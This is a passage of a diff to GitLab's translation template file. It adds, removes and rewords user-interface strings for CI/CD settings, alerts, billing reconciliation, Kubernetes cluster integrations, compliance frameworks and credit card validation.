+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
